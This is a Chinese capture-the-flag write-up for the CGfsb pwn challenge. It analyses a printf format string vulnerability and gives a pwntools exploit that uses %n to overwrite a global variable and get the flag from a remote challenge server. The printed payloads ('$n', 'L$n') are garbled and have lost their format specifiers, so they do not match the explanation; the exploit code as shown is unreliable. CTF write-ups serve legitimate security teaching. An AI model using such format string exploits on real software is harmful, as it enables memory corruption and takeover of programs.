攻防世界 CGfsb

    科技2022-07-11  144

    1.题目

     2.IDA分析

    3.流程分析

    流程很简单, 输入名字和信息,然后打印刚刚输入的信息出来,如果未初始化的pwnme的值为8,则成功cat flag。这里printf直接把&s打印出来,明显存在格式化字符串漏洞。

    解释一下格式化字符串,一般printf的参数是:格式化字符串 + 参数1 + 参数2 ...。如果后面的参数数量对应不上格式化字符串中需要的参数,会自动从栈顶获取对应的参数。如下图:

    输入“AAAAAAA%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x” 之后,程序直接printf(&s),因为后面没有对应%x的参数,所以直接从栈顶开始获取参数,到第十个%x获取到41414141,这个刚刚好是我们输入的信息的开头的AAAA(我们输入的s也是被保存在栈中,也可以直接计算出s距离栈顶是10个单元。s是在ebp-74h,栈顶在ebp-7Eh,相减刚刚好是10)。

    于是,我们可以构造这样的payload:

    ①address_pwnme + 'A' * 4 + '$n'

    或者

    ②address_pwnme + 'L$n' (注意是4c,使用4d有可能是0000,然后%n以00为结尾的)

    这样,4位地址+4位字符输出,使用%n的值为8,然后这个值赋给第10位参数,也就是address_pwnme的值被修改为8.从而达到我们的目标。exp如下

    from pwn import * #io = process("./CGfsb") io = remote('220.249.52.133', 53802) payload = p32(0x804A068) +'L$n'; io.sendlineafter("please tell me your name:\n","yangns") io.sendlineafter("leave your message please:\n",payload) io.interactive()

     

    Processed: 0.015, SQL: 8